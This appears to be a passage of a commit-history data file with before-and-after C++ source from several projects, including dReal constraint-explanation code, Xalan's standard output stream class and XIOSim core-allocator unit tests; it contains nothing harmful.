ContractorStatus::AddUsedConstraint(const vector<Formula>& formulas) {\n  for (const Formula& f : formulas) {\n    AddUsedConstraint(f);\n  }\n}\n\nvoid ContractorStatus::AddUnsatWitness(const Variable& var) {\n  DREAL_LOG_DEBUG(\"ContractorStatus::AddUnsatWitness({})\", var);\n  unsat_witness_.insert(var);\n}\n\nunordered_set<Formula, hash_value<Formula>> GenerateExplanation(\n    const Variables& unsat_witness,\n    const unordered_set<Formula, hash_value<Formula>>& used_constraints) {\n  if (unsat_witness.empty()) {\n    return unordered_set<Formula, hash_value<Formula>>();\n  }\n  \/\/ Set up the initial explanation based on variables.\n  unordered_set<Formula, hash_value<Formula>> explanation;\n  for (const Formula& f_i : used_constraints) {\n    if (HaveIntersection(unsat_witness, f_i.GetFreeVariables())) {\n      explanation.insert(f_i);\n    }\n  }\n\n  bool keep_going = true;\n  while (keep_going) {\n    keep_going = false;\n    for (const Formula& f_i : explanation) {\n      const Variables variables_in_f_i{f_i.GetFreeVariables()};\n      for (const Formula& f_j : used_constraints) {\n        if (explanation.count(f_j) > 0) {\n          continue;\n        }\n        if (HaveIntersection(variables_in_f_i, f_j.GetFreeVariables())) {\n          explanation.insert(f_j);\n          keep_going = true;\n        }\n      }\n    }\n  }\n  return explanation;\n}\n\nunordered_set<Formula, hash_value<Formula>> ContractorStatus::Explanation()\n    const {\n  return GenerateExplanation(unsat_witness_, used_constraints_);\n}\n\nContractorStatus& ContractorStatus::InplaceJoin(\n    const ContractorStatus& contractor_status) {\n  box_.InplaceUnion(contractor_status.box());\n  output_ |= contractor_status.output();\n  unsat_witness_.insert(contractor_status.unsat_witness_.begin(),\n                        contractor_status.unsat_witness_.end());\n  used_constraints_.insert(contractor_status.used_constraints_.begin(),\n                           contractor_status.used_constraints_.end());\n  return *this;\n}\n\nContractorStatus Join(ContractorStatus contractor_status1,\n                      const ContractorStatus& contractor_status2) {\n  \/\/ This function updates `contractor_status1`, which is passed by value, and\n  \/\/ returns it.\n  return contractor_status1.InplaceJoin(contractor_status2);\n}\n\n}  \/\/ namespace dreal\n<|endoftext|>"}
{"text":"<commit_before>#include \"RayControl.h\"\n#include \"ObjectParticles.h\"\n#include \"Engine.h\"\n#include \"Game.h\"\n#include \"Object.h\"\n#include \"Player.h\"\n#include \"Common.h\"\n#include \"App.h\"<commit_msg>Signed-off-by: mrlitong <litongtongxue@gmail.com><commit_after>#include \"RayControl.h\"\n#include \"ObjectParticles.h\"\n#include \"Engine.h\"\n#include \"Game.h\"\n#include \"Object.h\"\n#include \"Player.h\"\n#include \"Common.h\"\n#include \"App.h\"\n\nCRayControl::CRayControl(void)\n{\n\tm_pStarNormal = NULL;\n\tInit();\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\/\/ Class header file...\n#include \"XalanStdOutputStream.hpp\"\n\n\n\n#include <cerrno>\n\n\n\n#if defined(XALAN_OLD_STREAM_HEADERS)\n#include <strstream.h>\n#else\n#include <iostream>\n#include <strstream>\n#endif\n\n\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n\n\n\n#if !defined(XALAN_NO_NAMESPACES)\nusing std::ostream;\nusing std::cerr;\n#endif\n\n\n\nXalanStdOutputStream::XalanStdOutputStream(ostream&\ttheOutputStream) :\n\tXalanOutputStream(),\n\tm_outputStream(theOutputStream)\n{\n\t\/\/ This will make sure that cerr is not buffered...\n\tif (&m_outputStream == &cerr)\n\t{\n\t\tsetBufferSize(0);\n\t}\n}\n\n\n\nXalanStdOutputStream::~XalanStdOutputStream()\n{\n}\n\n\n\nvoid\nXalanStdOutputStream::doFlush()\n{\n\t\/\/ Don't try to flush if the stream is in a bad state...\n\tif(m_outputStream)\n\t{\n\t\tm_outputStream.flush();\n\n\t\tif(!m_outputStream)\n\t\t{\n\t\t\tthrow XalanStdOutputStreamWriteException(errno);\n\t\t}\n\t}\n}\n\n\n\nvoid\nXalanStdOutputStream::writeData(\n\t\t\tconst char*\t\ttheBuffer,\n\t\t\tsize_type\t\ttheBufferLength)\n{\n\tassert(StreamSizeType(theBufferLength) == theBufferLength);\n\n\tm_outputStream.write(theBuffer, StreamSizeType(theBufferLength));\n\n\tif(!m_outputStream)\n\t{\n\t\tthrow XalanStdOutputStreamWriteException(errno);\n\t}\n}\n\n\n\nstatic XalanDOMString\nFormatMessageLocal(\n\t\t\tconst char*\t\ttheMessage,\n\t\t\tint\t\t\t\ttheErrorCode)\n{\n#if !defined(XALAN_NO_NAMESPACES)\nusing std::ostrstream;\n#endif\n\n\tXalanDOMString\ttheResult(TranscodeFromLocalCodePage(theMessage));\n\n\tostrstream   theFormatter;\n\n\ttheFormatter << \".  The error code was \"\n\t\t\t\t << theErrorCode\n\t\t\t\t << \".\" << '\\0';\n\n\tappend(theResult, theFormatter.str());\n\n\tdelete theFormatter.str();\n\n\treturn theResult;\n}\n\n\n\nXalanStdOutputStream::XalanStdOutputStreamWriteException::XalanStdOutputStreamWriteException(\n\t\tint\t\t\t\t\ttheErrorCode) :\n\tXalanOutputStreamException(FormatMessageLocal(\"Error writing to standard stream!\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t   theErrorCode),\n\t\t\t\t\t\t\t\t    TranscodeFromLocalCodePage(\"XercesStdOutputStreamWriteException\"))\n{\n}\n\n\n\nXalanStdOutputStream::XalanStdOutputStreamWriteException::~XalanStdOutputStreamWriteException()\n{\n}\n<commit_msg>Better gcc compatibility.<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\/\/ Class header file...\n#include \"XalanStdOutputStream.hpp\"\n\n\n\n#include <cerrno>\n\n\n\n#if defined(XALAN_OLD_STREAM_HEADERS)\n#include <iostream.h>\n#include <strstream.h>\n#else\n#include <iostream>\n#include <strstream>\n#endif\n\n\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n\n\n\n#if !defined(XALAN_NO_NAMESPACES)\nusing std::ostream;\nusing std::cerr;\n#endif\n\n\n\nXalanStdOutputStream::XalanStdOutputStream(ostream&\ttheOutputStream) :\n\tXalanOutputStream(),\n\tm_outputStream(theOutputStream)\n{\n\t\/\/ This will make sure that cerr is not buffered...\n\tif (&m_outputStream == &cerr)\n\t{\n\t\tsetBufferSize(0);\n\t}\n}\n\n\n\nXalanStdOutputStream::~XalanStdOutputStream()\n{\n}\n\n\n\nvoid\nXalanStdOutputStream::doFlush()\n{\n\t\/\/ Don't try to flush if the stream is in a bad state...\n\tif(m_outputStream)\n\t{\n\t\tm_outputStream.flush();\n\n\t\tif(!m_outputStream)\n\t\t{\n\t\t\tthrow XalanStdOutputStreamWriteException(errno);\n\t\t}\n\t}\n}\n\n\n\nvoid\nXalanStdOutputStream::writeData(\n\t\t\tconst char*\t\ttheBuffer,\n\t\t\tsize_type\t\ttheBufferLength)\n{\n\tassert(StreamSizeType(theBufferLength) == theBufferLength);\n\n\tm_outputStream.write(theBuffer, StreamSizeType(theBufferLength));\n\n\tif(!m_outputStream)\n\t{\n\t\tthrow XalanStdOutputStreamWriteException(errno);\n\t}\n}\n\n\n\nstatic XalanDOMString\nFormatMessageLocal(\n\t\t\tconst char*\t\ttheMessage,\n\t\t\tint\t\t\t\ttheErrorCode)\n{\n#if !defined(XALAN_NO_NAMESPACES)\nusing std::ostrstream;\n#endif\n\n\tXalanDOMString\ttheResult(TranscodeFromLocalCodePage(theMessage));\n\n\tostrstream   theFormatter;\n\n\ttheFormatter << \".  The error code was \"\n\t\t\t\t << theErrorCode\n\t\t\t\t << \".\" << '\\0';\n\n\tappend(theResult, theFormatter.str());\n\n\tdelete theFormatter.str();\n\n\treturn theResult;\n}\n\n\n\nXalanStdOutputStream::XalanStdOutputStreamWriteException::XalanStdOutputStreamWriteException(\n\t\tint\t\t\t\t\ttheErrorCode) :\n\tXalanOutputStreamException(FormatMessageLocal(\"Error writing to standard stream!\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t   theErrorCode),\n\t\t\t\t\t\t\t\t    TranscodeFromLocalCodePage(\"XercesStdOutputStreamWriteException\"))\n{\n}\n\n\n\nXalanStdOutputStream::XalanStdOutputStreamWriteException::~XalanStdOutputStreamWriteException()\n{\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Unit tests for the locally optimal and penalty policy allocators. These\n * require a non-trivial amount of initialization of global shared state in\n * order to run, even if they do not use them, because they are tightly\n * integrated into the rest of XIOSim.\n *\n * Author: Sam Xi\n *\/\n\n#define CATCH_CONFIG_RUNNER\n#include \"catch.hpp\"\n\n#include <algorithm>\n#include <assert.h>\n#include <cmath>\n#include <fstream>\n#include <map>\n#include <pthread.h>\n#include <sstream>\n#include <string>\n#include <sys\/types.h>\n#include <unistd.h>\n\n#include \"xiosim\/synchronization.h\"\n\n#include \"allocators_impl.h\"\n#include \"multiprocess_shared.h\"\n#include \"parse_speedup.h\"\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wwrite-strings\"\n\nstruct locally_optimal_args {\n    int asid;\n    int loop_num;\n    xiosim::BaseAllocator* allocator;\n    int num_cores_alloc;\n    bool last_to_check_in;\n};\npthread_mutex_t cout_lock;\n\nstd::map<int, bool> ackTestMessages;\npthread_mutex_t ackTestMessages_lock;\n\nconst int NUM_CORES_TEST = 16;\nconst size_t NUM_DATA_POINTS = 4;\n\n\/* Thread function that calls the Allocate() method in the locally optimal\n * allocator. Tests whether the allocator properly waits for all threads to\n * check in before making a decision.\n *\/\nvoid* TestLocallyOptimalPolicyThread(void* arg) {\n    locally_optimal_args* args = (locally_optimal_args*)arg;\n    xiosim::BaseAllocator* allocator = args->allocator;\n    int asid = args->asid;\n    std::stringstream loop_name;\n    loop_name << \"art_loop_\" << args->loop_num;\n    std::vector<double> loop_scaling = GetHelixLoopScaling(loop_name.str());\n    double serial_runtime = GetHelixFullLoopData(loop_name.str())->serial_runtime;\n    \/\/ Push a blocking ack message on to the queue.\n    pthread_mutex_lock(&ackTestMessages_lock);\n    ackTestMessages[asid] = false;\n    pthread_mutex_unlock(&ackTestMessages_lock);\n    \/\/ Initiate the core allocation request.\n    args->num_cores_alloc = allocator->AllocateCoresForProcess(asid, loop_scaling, serial_runtime);\n    pthread_mutex_lock(&ackTestMessages_lock);\n    \/\/ If you are the last thread to check in, unblock all others.\n    if (args->num_cores_alloc != -1) {\n        for (auto it = ackTestMessages.begin(); it != ackTestMessages.end(); ++it) {\n            if (it->second == false)\n                ackTestMessages[it->first] = true;\n        }\n        args->last_to_check_in = true;\n    } else {\n        \/\/ Wait for the final process to check in.\n        while (ackTestMessages[asid] == false) {\n            pthread_mutex_unlock(&ackTestMessages_lock);\n            usleep(1000);\n            pthread_mutex_lock(&ackTestMessages_lock);\n        }\n        \/\/ Now get the actual allocation.\n        args->num_cores_alloc =\n            allocator->AllocateCoresForProcess(asid, loop_scaling, serial_runtime);\n        args->last_to_check_in = false;\n    }\n    pthread_mutex_unlock(&ackTestMessages_lock);\n#ifdef DEBUG\n    pthread_mutex_lock(&cout_lock);\n    std::cout << \"Process \" << asid << \" was allocated \" << args->num_cores_alloc << \" cores.\"\n              << std::endl;\n    pthread_mutex_unlock(&cout_lock);\n#endif\n    return NULL;\n}\n\nTEST_CASE(\"Penalty allocator\", \"penalty\") {\n    using namespace xiosim;\n    SHARED_VAR_INIT(int, num_processes);\n    *num_processes = 3;\n    char* filepath = \"xiosim\/pintool\/test_data\/loop_speedup_data.csv\";\n    \/\/ We need a smaller allocation to actuall trigger the penalty policies.\n    const int PENALTY_NUM_CORES = 8;\n    PenaltyAllocator& core_allocator = reinterpret_cast<PenaltyAllocator&>(\n        AllocatorParser::Get(\"penalty\", \"energy\", \"logarithmic\", 1, 8, PENALTY_NUM_CORES));\n    core_allocator.ResetState();\n    LoadHelixSpeedupModelData(filepath);\n\n    std::string loop_1(\"art_loop_2\");\n    std::string loop_2(\"art_loop_1\");\n    std::string loop_3(\"art_loop_1\");\n    int process_1 = 0;\n    int process_2 = 1;\n    int process_3 = 2;\n    std::vector<double> scaling_1 = GetHelixLoopScaling(loop_1);\n    double serial_runtime_1 = GetHelixFullLoopData(loop_1)->serial_runtime;\n    std::vector<double> scaling_2 = GetHelixLoopScaling(loop_2);\n    double serial_runtime_2 = GetHelixFullLoopData(loop_2)->serial_runtime;\n    std::vector<double> scaling_3 = GetHelixLoopScaling(loop_3);\n    double serial_runtime_3 = GetHelixFullLoopData(loop_3)->serial_runtime;\n\n    REQUIRE(core_allocator.get_penalty_for_asid(process_1) == Approx(0));\n    core_allocator.AllocateCoresForProcess(process_1, scaling_1, serial_runtime_1);\n    REQUIRE(core_allocator.get_cores_for_asid(process_1) == 2);\n    REQUIRE(core_allocator.get_processes_to_unblock(process_1).size() == 1);\n    REQUIRE(core_allocator.get_processes_to_unblock(process_1)[0] == process_1);\n\n    REQUIRE(core_allocator.get_penalty_for_asid(process_2) == Approx(0));\n    core_allocator.AllocateCoresForProcess(process_2, scaling_2, serial_runtime_2);\n    REQUIRE(core_allocator.get_cores_for_asid(process_2) == 4);\n    REQUIRE(core_allocator.get_processes_to_unblock(process_2).size() == 1);\n    REQUIRE(core_allocator.get_processes_to_unblock(process_2)[0] == process_2);\n\n    REQUIRE(core_allocator.get_penalty_for_asid(process_3) == Approx(0));\n    core_allocator.AllocateCoresForProcess(process_3, scaling_3, serial_runtime_3);\n    REQUIRE(core_allocator.get_cores_for_asid(process_3) == 2);\n    REQUIRE(core_allocator.get_processes_to_unblock(process_3).size() == 1);\n    REQUIRE(core_allocator.get_processes_to_unblock(process_3)[0] == process_3);\n\n    core_allocator.DeallocateCoresForProcess(process_1);\n    REQUIRE(core_allocator.get_cores_for_asid(process_1) == 1);\n\n    REQUIRE(core_allocator.get_penalty_for_asid(process_1) == Approx(1.666822));\n    core_allocator.AllocateCoresForProcess(process_1, scaling_1, serial_runtime_1);\n    REQUIRE(core_allocator.get_cores_for_asid(process_1) == 1);\n    REQUIRE(core_allocator.get_penalty_for_asid(process_1) == Approx(-3.88100));\n    REQUIRE(core_allocator.get_processes_to_unblock(process_1).size() == 1);\n    REQUIRE(core_allocator.get_processes_to_unblock(process_1)[0] == process_1);\n}\n\nTEST_CASE(\"Locally optimal allocator, 1 process\", \"local_1\") {\n    using namespace xiosim;\n    SHARED_VAR_INIT(int, num_processes);\n    const int NUM_TEST_PROCESSES = 1;\n    *num_processes = NUM_TEST_PROCESSES;\n    char* filepath = \"xiosim\/pintool\/test_data\/loop_speedup_data.csv\";\n    LoadHelixSpeedupModelData(filepath);\n#ifdef DEBUG\n    std::cout << \"Number of processes: \" << *num_processes << std::endl;\n#endif\n    const int NUM_TESTS = 2;\n    BaseAllocator& core_allocator =\n        AllocatorParser::Get(\"local\", \"throughput\", \"linear\", 1, 8, NUM_CORES_TEST);\n    core_allocator.ResetState();\n\n    \/\/ Initialize test data and correct output.\n    int test_loops[NUM_TESTS] = { 1, 2 };\n    int correct_output[NUM_TESTS] = { NUM_CORES_TEST, NUM_CORES_TEST };\n\n    for (int i = 0; i < NUM_TESTS; i++) {\n        locally_optimal_args arg;\n        arg.allocator = &core_allocator;\n        arg.loop_num = test_loops[i];\n        arg.num_cores_alloc = 0;\n        arg.asid = 0;\n        TestLocallyOptimalPolicyThread(&arg);\n        REQUIRE(arg.num_cores_alloc == correct_output[i]);\n    }\n}\n\nTEST_CASE(\"Locally optimal allocator, 2 processes\", \"local_2\") {\n    using namespace xiosim;\n    SHARED_VAR_INIT(int, num_processes);\n    const int NUM_TEST_PROCESSES = 2;\n    *num_processes = NUM_TEST_PROCESSES;\n    char* filepath = \"xiosim\/pintool\/test_data\/loop_speedup_data.csv\";\n#ifdef DEBUG\n    std::cout << \"Number of processes: \" << *num_processes << std::endl;\n#endif\n    const int NUM_TESTS = 4;\n    BaseAllocator& core_allocator =\n        AllocatorParser::Get(\"local\", \"throughput\", \"linear\", 1, 8, NUM_CORES_TEST);\n    core_allocator.ResetState();\n    LoadHelixSpeedupModelData(filepath);\n\n    \/* Initialize test data and correct output.\n     * test_loops: Each column determines which loops to run.\n     * Example: 2nd column = {1,2} means process 0 runs loop_1 and process 1\n     * runs loop_2.\n     *\/\n    int test_loops[NUM_TEST_PROCESSES][NUM_TESTS] = { { 1, 1, 2, 2 }, { 1, 2, 1, 2 } };\n    \/* correct_output: Each column is the correct number of cores to be\n     * allocated to the process for that row.\n     * Example: 2nd column\n     *\/\n    int correct_output[NUM_TEST_PROCESSES][NUM_TESTS] = { { 8, 1, 15, 8 }, { 8, 15, 1, 8 } };\n    \/* The correct contents of the unblock list. *\/\n    int unblock_list[NUM_TEST_PROCESSES] = { 0, 1 };\n\n    \/\/ Initialize thread variables.\n    pthread_mutex_init(&cout_lock, NULL);\n    pthread_mutex_init(&ackTestMessages_lock, NULL);\n    pthread_t threads[*num_processes];\n    locally_optimal_args args[*num_processes];\n    for (int i = 0; i < NUM_TESTS; i++) {\n        for (int j = 0; j < NUM_TEST_PROCESSES; j++) {\n            args[j].allocator = &core_allocator;\n            args[j].loop_num = test_loops[j][i];\n            args[j].num_cores_alloc = 0;\n            args[j].asid = j;\n            pthread_create(&threads[j], NULL, TestLocallyOptimalPolicyThread, (void*)&args[j]);\n        }\n        void* status;\n        for (int j = 0; j < NUM_TEST_PROCESSES; j++) {\n            pthread_join(threads[j], &status);\n        }\n#ifdef DEBUG\n        std::cout << \"All threads have completed.\" << std::endl;\n#endif\n        \/\/ Check the unblock list.\n        for (int j = 0; j < NUM_TEST_PROCESSES; j++) {\n            REQUIRE(args[j].num_cores_alloc == correct_output[j][i]);\n            std::vector<int> returned_unblock_list = core_allocator.get_processes_to_unblock(j);\n            if (args[j].last_to_check_in) {\n                for (int k = 0; k < NUM_TEST_PROCESSES; k++) {\n                    REQUIRE(std::find(returned_unblock_list.begin(),\n                                      returned_unblock_list.end(),\n                                      unblock_list[k]) != returned_unblock_list.end());\n                }\n            } else {\n                REQUIRE(returned_unblock_list.empty());\n            }\n        }\n    }\n}\n\n\/* We need to call InitSharedState() to set up all the shared memory state\n * required by XIOSIM, but that requires some initial setup from the harness.\n * That setup is mimicked here.\n *\/\nvoid SetupSharedState() {\n    using namespace xiosim::shared;\n    using namespace boost::interprocess;\n    std::stringstream pidstream;\n    pid_t test_pid = getpid();\n    pidstream << test_pid;\n    std::string shared_memory_key = pidstream.str() + std::string(XIOSIM_SHARED_MEMORY_KEY);\n    std::string init_lock_key = pidstream.str() + std::string(XIOSIM_INIT_SHARED_LOCK);\n    std::string counter_lock_key = pidstream.str() + std::string(XIOSIM_INIT_COUNTER_KEY);\n\n    \/\/ To be safe, we use xiosim::shared::DEFAULT_SHARED_MEMORY_SIZE, or we\n    \/\/ might run out of shared memory space in InitSharedState().\n    global_shm = new managed_shared_memory(\n        open_or_create, shared_memory_key.c_str(), DEFAULT_SHARED_MEMORY_SIZE);\n    \/\/ InitSharedState() will expect this lock and counter to exist.\n    named_mutex init_lock(open_or_create, init_lock_key.c_str());\n    int* process_counter = global_shm->find_or_construct<int>(counter_lock_key.c_str())();\n    *process_counter = 1;\n    std::cout << \"===========================\" << std::endl << \" Initializing shared state \"\n              << std::endl << \"===========================\" << std::endl;\n    InitSharedState(false, test_pid, NUM_CORES_TEST);\n}\n\nint main(int argc, char* const argv[]) {\n    \/\/ Create the shared memory cleanup struct.\n    using namespace xiosim::shared;\n    using namespace boost::interprocess;\n    struct shm_remove {\n        shm_remove() { shared_memory_object::remove(XIOSIM_SHARED_MEMORY_KEY); }\n        ~shm_remove() { shared_memory_object::remove(XIOSIM_SHARED_MEMORY_KEY); }\n    } remover;\n    SetupSharedState();\n\n    std::cout << \"===========================\" << std::endl << \"    Beginning unit tests   \"\n              << std::endl << \"===========================\" << std::endl;\n    int result = Catch::Session().run(argc, argv);\n    std::cout << std::endl << \"REMEMBER TO CLEAN UP \/dev\/shm!!\" << std::endl;\n    delete global_shm;\n    return result;\n}\n<commit_msg>Switch VLAs to vectors<commit_after>\/* Unit tests for the locally optimal and penalty policy allocators. These\n * require a non-trivial amount of initialization of global shared state in\n * order to run, even if they do not use them, because they are tightly\n * integrated into the rest of XIOSim.\n *\n * Author: Sam Xi\n *\/\n\n#define CATCH_CONFIG_RUNNER\n#include \"catch.hpp\"\n\n#include <algorithm>\n#include <assert.h>\n#include <cmath>\n#include <fstream>\n#include <map>\n#include <pthread.h>\n#include <sstream>\n#include <string>\n#include <sys\/types.h>\n#include <unistd.h>\n\n#include \"xiosim\/synchronization.h\"\n\n#include \"allocators_impl.h\"\n#include \"multiprocess_shared.h\"\n#include \"parse_speedup.h\"\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wwrite-strings\"\n\nstruct locally_optimal_args {\n    int asid;\n    int loop_num;\n    xiosim::BaseAllocator* allocator;\n    int num_cores_alloc;\n    bool last_to_check_in;\n};\npthread_mutex_t cout_lock;\n\nstd::map<int, bool> ackTestMessages;\npthread_mutex_t ackTestMessages_lock;\n\nconst int NUM_CORES_TEST = 16;\nconst size_t NUM_DATA_POINTS = 4;\n\n\/* Thread function that calls the Allocate() method in the locally optimal\n * allocator. Tests whether the allocator properly waits for all threads to\n * check in before making a decision.\n *\/\nvoid* TestLocallyOptimalPolicyThread(void* arg) {\n    locally_optimal_args* args = (locally_optimal_args*)arg;\n    xiosim::BaseAllocator* allocator = args->allocator;\n    int asid = args->asid;\n    std::stringstream loop_name;\n    loop_name << \"art_loop_\" << args->loop_num;\n    std::vector<double> loop_scaling = GetHelixLoopScaling(loop_name.str());\n    double serial_runtime = GetHelixFullLoopData(loop_name.str())->serial_runtime;\n    \/\/ Push a blocking ack message on to the queue.\n    pthread_mutex_lock(&ackTestMessages_lock);\n    ackTestMessages[asid] = false;\n    pthread_mutex_unlock(&ackTestMessages_lock);\n    \/\/ Initiate the core allocation request.\n    args->num_cores_alloc = allocator->AllocateCoresForProcess(asid, loop_scaling, serial_runtime);\n    pthread_mutex_lock(&ackTestMessages_lock);\n    \/\/ If you are the last thread to check in, unblock all others.\n    if (args->num_cores_alloc != -1) {\n        for (auto it = ackTestMessages.begin(); it != ackTestMessages.end(); ++it) {\n            if (it->second == false)\n                ackTestMessages[it->first] = true;\n        }\n        args->last_to_check_in = true;\n    } else {\n        \/\/ Wait for the final process to check in.\n        while (ackTestMessages[asid] == false) {\n            pthread_mutex_unlock(&ackTestMessages_lock);\n            usleep(1000);\n            pthread_mutex_lock(&ackTestMessages_lock);\n        }\n        \/\/ Now get the actual allocation.\n        args->num_cores_alloc =\n            allocator->AllocateCoresForProcess(asid, loop_scaling, serial_runtime);\n        args->last_to_check_in = false;\n    }\n    pthread_mutex_unlock(&ackTestMessages_lock);\n#ifdef DEBUG\n    pthread_mutex_lock(&cout_lock);\n    std::cout << \"Process \" << asid << \" was allocated \" << args->num_cores_alloc << \" cores.\"\n              << std::endl;\n    pthread_mutex_unlock(&cout_lock);\n#endif\n    return NULL;\n}\n\nTEST_CASE(\"Penalty allocator\", \"penalty\") {\n    using namespace xiosim;\n    SHARED_VAR_INIT(int, num_processes);\n    *num_processes = 3;\n    char* filepath = \"xiosim\/pintool\/test_data\/loop_speedup_data.csv\";\n    \/\/ We need a smaller allocation to actuall trigger the penalty policies.\n    const int PENALTY_NUM_CORES = 8;\n    PenaltyAllocator& core_allocator = reinterpret_cast<PenaltyAllocator&>(\n        AllocatorParser::Get(\"penalty\", \"energy\", \"logarithmic\", 1, 8, PENALTY_NUM_CORES));\n    core_allocator.ResetState();\n    LoadHelixSpeedupModelData(filepath);\n\n    std::string loop_1(\"art_loop_2\");\n    std::string loop_2(\"art_loop_1\");\n    std::string loop_3(\"art_loop_1\");\n    int process_1 = 0;\n    int process_2 = 1;\n    int process_3 = 2;\n    std::vector<double> scaling_1 = GetHelixLoopScaling(loop_1);\n    double serial_runtime_1 = GetHelixFullLoopData(loop_1)->serial_runtime;\n    std::vector<double> scaling_2 = GetHelixLoopScaling(loop_2);\n    double serial_runtime_2 = GetHelixFullLoopData(loop_2)->serial_runtime;\n    std::vector<double> scaling_3 = GetHelixLoopScaling(loop_3);\n    double serial_runtime_3 = GetHelixFullLoopData(loop_3)->serial_runtime;\n\n    REQUIRE(core_allocator.get_penalty_for_asid(process_1) == Approx(0));\n    core_allocator.AllocateCoresForProcess(process_1, scaling_1, serial_runtime_1);\n    REQUIRE(core_allocator.get_cores_for_asid(process_1) == 2);\n    REQUIRE(core_allocator.get_processes_to_unblock(process_1).size() == 1);\n    REQUIRE(core_allocator.get_processes_to_unblock(process_1)[0] == process_1);\n\n    REQUIRE(core_allocator.get_penalty_for_asid(process_2) == Approx(0));\n    core_allocator.AllocateCoresForProcess(process_2, scaling_2, serial_runtime_2);\n    REQUIRE(core_allocator.get_cores_for_asid(process_2) == 4);\n    REQUIRE(core_allocator.get_processes_to_unblock(process_2).size() == 1);\n    REQUIRE(core_allocator.get_processes_to_unblock(process_2)[0] == process_2);\n\n    REQUIRE(core_allocator.get_penalty_for_asid(process_3) == Approx(0));\n    core_allocator.AllocateCoresForProcess(process_3, scaling_3, serial_runtime_3);\n    